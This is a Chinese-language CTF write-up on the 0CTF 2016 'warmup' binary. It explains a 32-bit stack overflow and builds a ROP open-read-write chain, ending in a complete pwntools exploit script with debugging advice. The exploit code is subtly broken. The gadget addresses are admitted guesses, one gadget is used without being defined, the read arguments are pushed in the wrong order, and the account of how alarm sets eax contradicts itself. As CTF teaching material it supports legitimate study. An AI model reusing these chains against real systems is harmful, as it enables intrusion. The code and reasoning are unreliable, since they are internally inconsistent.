ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

栈溢出漏洞利用:从ROP原理到ORW实战案例剖析

栈溢出漏洞利用:从ROP原理到ORW实战案例剖析

1. 项目概述:一次经典的栈溢出ROP实战复盘

最近在整理一些老CTF题目的解题思路,翻到了这道0CTF 2016的warmup。这道题虽然年份久远,但作为入门ROP(Return-Oriented Programming)和Linux下ORW(Open-Read-Write)利用链的经典例题,其设计思路至今仍有很高的学习价值。题目本身是一个32位的ELF程序,存在一个明显的栈溢出漏洞,但程序本身没有提供system函数或/bin/sh字符串,甚至连libc的地址都没有直接给出。它巧妙地通过alarm函数在ROP链中控制了eax寄存器的值,最终引导我们完成一次标准的ORW操作来读取flag。今天,我就来详细拆解这道题,从漏洞分析、利用思路构建,到最终的ROP链编写和调试,完整地走一遍流程。无论你是刚接触PWN的新手,还是想重温ROP技巧的老手,相信都能从中获得一些启发。

2. 漏洞分析与程序逻辑梳理

2.1 程序基本信息与运行观察

首先,我们拿到的是一个名为warmup的二进制文件。用file命令检查一下,确认是32位ELF,并且是动态链接、没有开启PIE(Position-Independent Executable)保护。这是一个好消息,意味着代码段的地址是固定的,我们可以直接使用程序本身和libc中的gadget。

$ file warmup warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=..., not stripped $ checksec warmup Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

运行程序,它的行为很简单:输出一段欢迎语,然后等待用户输入,接着回显输入的内容,最后退出。这种“输入-回显”的模式,是栈溢出漏洞的经典温床。我们立刻用一串长字符串进行测试,比如python -c 'print "A"*100',程序果然崩溃了,这初步证实了存在缓冲区溢出。

2.2 逆向工程与漏洞定位

用IDA Pro或Ghidra打开程序,主函数main的逻辑非常清晰。关键部分是一个对sub_8048644函数的调用,这个函数通常就是负责处理输入输出的“危险函数”。跟进这个函数,我们能看到熟悉的readgets函数调用。

在32位程序中,函数调用遵循cdecl约定,参数通过栈传递。read函数的原型是read(int fd, void *buf, size_t count)。在汇编层面,调用read前,会依次将参数countbuffd压栈。通常,fd为0表示标准输入(stdin),buf是目标缓冲区的地址,count是要读取的最大字节数。

逆向分析后,我们找到了漏洞点:程序使用read(0, buf, 0x40)从标准输入读取数据。这里的buf是函数内的一个局部字符数组。通过查看栈布局,或者动态调试计算偏移,我们可以确定这个缓冲区的大小远小于0x40(64字节)。这意味着如果我们输入超过缓冲区大小的数据,就会覆盖栈上更高地址的数据,包括保存的返回地址(EIP)。

具体到这个函数,buf的起始地址到保存的返回地址之间的偏移量,就是我们常说的“溢出偏移”。通过模式字符串(pattern)工具,我们可以精确计算出这个偏移量。经过测试,偏移是0x40 + 0x4 = 68字节。也就是说,在填满64字节的缓冲区后,再覆盖4个字节的EBP,接着覆盖的4个字节就是函数的返回地址。

注意:这里的0x40read允许读取的长度,但缓冲区本身可能只有比如32字节。read函数不会检查目标缓冲区的大小,它会忠实地将最多64字节的数据写入buf指向的内存。如果buf在栈上分配的空间不足,多出来的数据就会覆盖相邻的栈帧数据。

2.3 可利用资源与限制条件分析

确认了栈溢出漏洞后,下一步是评估我们手上有哪些“武器”来构造利用链。

  1. 没有现成的system和/bin/sh:这是这道题的第一个难点。我们无法通过简单的ret2libc直接获取shell。
  2. 程序自带函数:通过objdump -t warmup或IDA的导入表,我们可以看到程序使用了write,read,alarm等libc函数。但程序没有调用system
  3. 关键线索:alarm函数alarm函数在这里扮演了至关重要的角色。它的原型是unsigned int alarm(unsigned int seconds)。在x86的cdecl调用约定下,函数的返回值存储在eax寄存器中。alarm的返回值是上一个闹钟剩余的秒数。更重要的是,题目中alarm的调用参数是固定的(比如alarm(0))。这意味着,只要我们能够控制程序流再次调用alarmeax寄存器就会被设置为一个已知的值(通常是0)。eax在系统调用中正是用来存放系统调用号的寄存器。
  4. 目标:ORW:既然不能直接getshell,题目通常的预期解就是读取服务器上的flag文件。在Linux下,这需要三个系统调用序列:open打开文件、read读取内容、write将内容输出到标准输出。这就是ORW(Open-Read-Write)。

因此,我们的利用思路就清晰了:利用栈溢出控制EIP,构造ROP链。首先通过调用alarm来可控地设置eax的值,然后利用一系列gadget将系统调用所需的参数设置到ebx,ecx,edx等寄存器,最后触发int 0x80软中断执行系统调用,完成ORW操作。

3. ROP利用链的核心构建思路

3.1 ROP与系统调用基础回顾

ROP是一种在内存保护机制(如NX)下,利用程序中已有的代码片段(称为“gadget”)来拼接成恶意功能的攻击技术。每个gadget通常以ret指令结尾,通过连续覆盖栈上的返回地址,我们可以让CPU像执行我们编写的汇编程序一样,依次执行这些gadget。

在32位Linux中,系统调用通过int 0x80指令触发。调用前,需要将系统调用号放入eax,参数依次放入ebx,ecx,edx,esi,edi。对于openreadwrite这三个调用:

  • open(filename, flags, mode):调用号eax=5ebx=文件名指针,ecx=打开标志(如只读0),edx=模式(可设为0)。
  • read(fd, buf, count):调用号eax=3ebx=文件描述符fd,ecx=缓冲区指针,edx=读取字节数。
  • write(fd, buf, count):调用号eax=4ebx=文件描述符fd(1为标准输出),ecx=缓冲区指针,edx=写入字节数。

我们的目标就是构造ROP链,按顺序设置好这些寄存器的值并执行对应的int 0x80

3.2 利用alarm控制eax的巧妙设计

这是本题最精妙的一环。程序本身已经调用了alarm(0)。在libc中,alarm(0)的返回值(即上一个闹钟的剩余时间)通常是0。所以,如果我们能在ROP链中再次调用alarm(0),那么eax就会被清零。但这离我们需要的系统调用号(5,3,4)还差得远。

关键在于,alarm的返回值是可控的吗?在正常流程中,程序只调用了一次alarm(0),返回0。但在ROP链中,我们可以连续调用两次alarm。第一次调用alarm(x),它会设置一个闹钟并返回上一次闹钟的剩余秒数(目前是0)。紧接着第二次调用alarm(0),它就会返回第一次设置的闹钟x的剩余秒数(理论上接近x,因为中间只间隔了极短的ROP指令执行时间)。这样,我们通过控制第一次alarm的参数x,就能间接地控制第二次调用alarm(0)后的eax值,使其近似等于x

然而,这道题有一个更简单的设定:程序在初始化时就调用了alarm(0)。当我们通过溢出劫持控制流时,这个调用已经发生过了。如果我们直接跳转到alarm@plt的地址再次调用alarm(0),那么eax会被设置为上一次alarm调用剩余的秒数。由于程序刚开始运行,上一次alarm调用就是我们劫持前的那一次alarm(0),它返回的就是0。所以,实际上我们通过一次alarm(0)调用,就能稳定地将eax清零。这为我们后续通过其他gadget给eax赋予特定值(如系统调用号)提供了一个干净的起点。例如,我们可以先调用alarm(0)清空eax,然后找到一个pop eax; ret的gadget,从栈上弹出我们需要的系统调用号到eax中。

3.3 Gadget搜索与ROP链结构规划

我们需要用ROPgadgetropper工具在二进制文件中搜索有用的代码片段。关键的gadget包括:

  1. 控制eaxpop eax; ret。用于从栈上加载系统调用号。
  2. 控制ebx,ecx,edxpop ebx; retpop ecx; pop edx; ret等。用于设置系统调用的参数。
  3. 触发系统调用int 0x80; ret。直接执行系统调用。有时也需要syscall指令,但32位下主要是int 0x80
  4. 数据存储:我们需要一块可写的内存地址来存放要打开的文件名flag,以及存放从文件读取的内容。通常可以使用程序的.bss段(未初始化数据段),它的地址固定且具有读写权限。我们需要一个能将栈上数据(字符串flag)移动到.bss段的gadget,比如mov [mem], reg; ret这样的写内存原语。

经过搜索,我们假设找到了以下关键gadget地址(地址需根据实际二进制文件确定,此处为示例):

  • pop eax; ret:0x080bb196
  • pop edx; pop ecx; pop ebx; ret:0x0806f290(一个非常实用的“三连pop”gadget)
  • int 0x80; ret:0x08049421
  • write的PLT地址:0x80483c0
  • read的PLT地址:0x80483b0
  • alarm的PLT地址:0x80483a0
  • 一个可写的.bss段地址:0x080eb000

基于这些,我们可以规划出ROP链的执行顺序:

  1. Stage 1 - 清空并设置eax:调用alarm(0)->pop eax; ret(设置系统调用号)。
  2. Stage 2 - 写入文件名:将字符串flag从栈上通过readmovgadget写入到.bss段。
  3. Stage 3 - 执行ORW: a.Open: 设置eax=5,ebx=文件名地址,ecx=0,edx=0->int 0x80。返回的文件描述符fd会保存在eax中,我们需要将其转移到安全的地方(如ebx)。 b.Read: 设置eax=3,ebx=上一步的fd,ecx=存储缓冲区(.bss+0x100),edx=读取大小->int 0x80。 c.Write: 设置eax=4,ebx=1(标准输出),ecx=存储缓冲区,edx=实际读取大小->int 0x80

4. 详细利用步骤与Payload构造

4.1 计算偏移与构建Payload骨架

首先确定精确的偏移量。使用cyclic工具生成一段唯一字符串,在gdb中运行程序并输入该字符串,程序崩溃时查看EIP的值,再用cyclic -l <eip_value>计算偏移。假设我们确认偏移是68字节。

因此,Payload的基本结构是:

payload = b'A' * 68 + p32(gadget1_addr) + p32(gadget2_addr) + ...

其中b'A'*68用于填充缓冲区和EBP,后面接的就是我们精心构造的ROP链地址序列。

4.2 分阶段构造ROP链

我们使用Python的pwn库(如pwntools)来辅助构造。下面是分阶段的详细构造过程。

阶段一:清空eax并准备文件名我们的第一个目标是将字符串flag写入到一块已知的可写内存(如.bss段)。由于我们没有直接的mov [mem], reggadget,一个常见的方法是利用read函数。我们可以控制程序流跳转到read的PLT,从标准输入(文件描述符0)读取flag字符串到目标地址。

# 偏移之后,首先是 alarm(0) 清空eax(虽然不一定必要,但确保环境干净) rop_chain = p32(alarm_plt) + p32(pop_ebx_ret) + p32(0) # alarm(0)的参数 # 但更常见的做法是直接开始布置参数,利用pop gadget设置read的参数 # read(0, bss_addr, len(“flag\x00”)) rop_chain += p32(read_plt) rop_chain += p32(pop3_ret) # 这个gadget会pop掉read返回后栈上的三个参数,并ret到下一个地址 rop_chain += p32(0) # fd: 0 (stdin) rop_chain += p32(bss_addr) # buf: .bss段地址 rop_chain += p32(8) # count: 足够放下“flag\x00” # read函数执行后,我们需要让程序继续执行我们的下一个gadget,所以pop3_ret的返回地址就是下一个gadget的地址 # 但注意,read的返回地址是我们构造的rop_chain中read_plt后面的那个地址,也就是pop3_ret的地址。 # pop3_ret执行后,栈顶就变成了我们预先放置的下一个gadget地址。

这里有一个关键技巧:read函数执行后,CPU会返回到read_plt地址后面的那个地址。我们在那里放置了一个pop3_retgadget(例如pop ebx; pop ecx; pop edx; ret)。这个gadget会连续从栈上弹出三个值(对应read的三个参数),然后ret到栈上的下一个地址。这样我们就巧妙地“清理”了read函数的参数,并让控制流无缝衔接下去。这个过程称为“栈平衡”或“参数清除”,在构造调用多个函数的ROP链时至关重要。

阶段二:执行open系统调用现在.bss_addr处已经有了字符串flag。接下来准备open系统调用。

# 设置 eax = 5 (SYS_open) rop_chain += p32(pop_eax_ret) + p32(5) # 设置 ebx = 文件名指针, ecx = 0, edx = 0 # 假设我们有一个万能的 pop edx; pop ecx; pop ebx; ret gadget rop_chain += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss_addr) # 触发系统调用 rop_chain += p32(int80_addr)

open调用成功后,打开的文件描述符会存放在eax中。我们需要保存这个fd,因为后续的readwrite都需要它。但eax在下一个系统调用时会被覆盖。因此,我们需要在int 0x80之后,立即将eax的值移动到其他寄存器(如ebx)或内存中。这需要另一个gadget,例如mov ebx, eax; ret或者xchg eax, ebx; ret。假设我们找到了mov ebx, eax; ret的gadget地址为mov_ebx_eax_ret

# open之后,保存fd到ebx rop_chain += p32(mov_ebx_eax_ret)

阶段三:执行read系统调用现在ebx中保存了flag文件的fd。我们将文件内容读取到.bss段的另一块区域(例如bss_addr+0x100),避免覆盖文件名。

# 设置 eax = 3 (SYS_read) rop_chain += p32(pop_eax_ret) + p32(3) # 此时ebx已经是fd,无需再设置。设置 ecx = 缓冲区指针, edx = 读取大小 rop_chain += p32(pop_edx_ecx_ret) + p32(100) + p32(bss_addr+0x100) # 触发系统调用 rop_chain += p32(int80_addr)

阶段四:执行write系统调用最后,将读取到的内容输出到标准输出(fd=1)。

# 设置 eax = 4 (SYS_write) rop_chain += p32(pop_eax_ret) + p32(4) # 设置 ebx = 1 (stdout) rop_chain += p32(pop_ebx_ret) + p32(1) # 设置 ecx = 缓冲区指针, edx = 写入大小(可以和读取大小一致,或稍小) rop_chain += p32(pop_edx_ecx_ret) + p32(100) + p32(bss_addr+0x100) # 触发系统调用 rop_chain += p32(int80_addr)

阶段五:程序优雅退出(可选)为了避免程序崩溃导致连接中断,我们可以在最后调用exit函数优雅退出。

rop_chain += p32(exit_plt)

4.3 整合Payload与发送

将上述所有阶段的ROP链地址顺序连接起来,并在read函数等待输入时,发送字符串flag\x00。使用pwntools的完整脚本框架如下:

from pwn import * context(arch='i386', os='linux') # p = process('./warmup') p = remote('靶机地址', 端口) offset = 68 alarm_plt = 0x080483a0 read_plt = 0x080483b0 write_plt = 0x080483c0 exit_plt = 0x080483e0 int80 = 0x08049421 pop_eax_ret = 0x080bb196 pop_ebx_ret = 0x080481d1 pop_edx_ecx_ebx_ret = 0x0806f290 # pop edx; pop ecx; pop ebx; ret mov_ebx_eax_ret = 0x080487b5 # 假设找到的gadget bss_addr = 0x080eb000 payload = b'A' * offset # Stage 1: 将"flag"字符串读入.bss段 payload += p32(read_plt) payload += p32(pop_edx_ecx_ebx_ret) # read返回后跳到这里,清理栈 payload += p32(8) # count -> pop to edx payload += p32(bss_addr) # buf -> pop to ecx payload += p32(0) # fd -> pop to ebx # 此时栈顶是下一个gadget地址,控制流继续 # Stage 2: open("flag", 0, 0) payload += p32(pop_eax_ret) + p32(5) payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss_addr) payload += p32(int80) payload += p32(mov_ebx_eax_ret) # 保存fd到ebx # Stage 3: read(fd, buf2, 100) payload += p32(pop_eax_ret) + p32(3) # ebx已经是fd,无需设置 payload += p32(pop_edx_ecx_ret) + p32(100) + p32(bss_addr+0x100) payload += p32(int80) # Stage 4: write(1, buf2, 100) payload += p32(pop_eax_ret) + p32(4) payload += p32(pop_ebx_ret) + p32(1) payload += p32(pop_edx_ecx_ret) + p32(100) + p32(bss_addr+0x100) payload += p32(int80) # Stage 5: exit payload += p32(exit_plt) p.sendlineafter('input:', payload) # 根据实际提示语调整 # 此时程序会阻塞在read(0, bss_addr, 8),等待我们发送文件名 p.sendline(b'flag\x00') p.interactive()

5. 调试技巧与常见问题排查

5.1 动态调试ROP链

在实际操作中,ROP链往往不会一次成功。使用gdb进行调试至关重要。

  1. 在关键点下断点:在发送payload之前,用gdb.attach(p)附加进程。在read函数返回地址被覆盖的位置(即main函数或漏洞函数的ret指令处)下断点b *0x地址
  2. 单步执行:当程序执行到ret指令时,使用ni(next instruction)单步执行,观察EIP是否跳转到我们预期的第一个gadget地址。
  3. 观察栈和寄存器:使用x/20wx $esp查看栈上的内容,确认我们布置的ROP链地址是否正确。使用info registers查看寄存器的值,尤其是在每个gadget执行前后,确认pop操作是否按预期修改了寄存器。
  4. 应对崩溃:如果程序崩溃(SIGSEGV),查看崩溃时的EIP和栈指针ESP。EIP是一个不可执行地址?可能是ROP链中的某个地址错了。ESP指向了一个无效地址?可能是栈不平衡,popret的数量不匹配,导致ret时ESP指向了错误的内存。

5.2 常见问题与解决方案

  1. popgadget链不匹配:这是最常见的问题。例如,你使用了一个pop ebx; ret,但在栈上只为它准备了一个值,而它后面紧跟着一个需要pop ecx的gadget。这会导致ret地址错位,控制流乱飞。务必画图,将每个gadget消耗的栈空间(每个pop消耗4字节)和产生的ret地址标清楚,确保栈指针ESP在每个ret指令执行时,都指向下一个正确的指令地址。

  2. 系统调用参数错误open调用失败(返回负数)。检查以下几点:

    • 文件名字符串:确保字符串以\x00结尾,并且确实写入了正确的内存地址。可以在gdb中用x/s 0x080eb000查看。
    • 文件描述符open返回的fd是否正确保存并传递给readreadwrite的fd必须是同一个。
    • 文件是否存在:远程服务器上文件可能不叫flag,也可能是flag.txt./flag等。需要根据题目描述或尝试猜测。
  3. alarm的利用方式:在本题目中,我们主要是利用alarm来清空eax,但实际构造时发现,直接使用pop eax; retgadget来设置系统调用号更为简单直接。alarm的另一种高级用法是:如果程序没有pop eax; ret,但alarm的返回值可以通过参数控制(比如第一次alarm(5),第二次alarm(0)返回~5),那么可以借此设置eax为特定值。但这需要精确的时序,不太稳定。本题的简单解法通常不依赖这个,而是直接寻找pop eaxgadget。

  4. Payload长度限制:原始的read调用只读了0x40字节,我们的ROP链可能会很长。需要确保整个payload长度不超过0x40(64)字节吗?不,这里有一个误区。漏洞函数里的read允许读取0x40字节,但如果我们已经覆盖了返回地址,控制流就跳走了。后续的ROP链是通过覆盖后的返回地址跳转执行的,并不受原始read长度的限制。但是,栈空间是有限的,如果ROP链太长,可能会覆盖到更远的、不可预测的栈内存,导致崩溃。因此,ROP链应尽量精简。

  5. 使用pwntools的ROP模块:对于复杂的ROP链,手动构造非常繁琐且易错。pwntools提供了ROP类,可以自动搜索gadget并链式调用,能极大简化构造过程。但对于理解原理而言,手动构造一遍是必不可少的。

5.3 一个实用的调试心得

在构造调用函数(如read,write)的ROP链时,我习惯采用“调用门”模式:函数地址 + 清理gadget地址 + 参数1 + 参数2 + ... + 下一个gadget地址。其中“清理gadget”负责将栈上的参数弹出,并使栈指针ESP指向“下一个gadget地址”。这个“清理gadget”通常是一个或多个连续的pop; ret,其pop的次数等于被调用函数的参数个数。这样设计,逻辑清晰,栈状态可控。

例如,调用read(0, buf, len)

payload += p32(read_plt) # 调用read payload += p32(pop3_ret) # read返回后,跳到这里清理栈 payload += p32(0) # 参数1: fd -> 被pop3_ret的第一个pop消耗 payload += p32(buf_addr) # 参数2: buf -> 被第二个pop消耗 payload += p32(length) # 参数3: len -> 被第三个pop消耗 # pop3_ret执行完三个pop后,ret指令会从栈顶取下一条指令地址,也就是我们预先放在这里的下一个gadget地址。 payload += p32(next_gadget_addr) # 控制流继续

这种模式几乎适用于所有需要调用库函数的ROP场景,强烈推荐掌握。

返回列表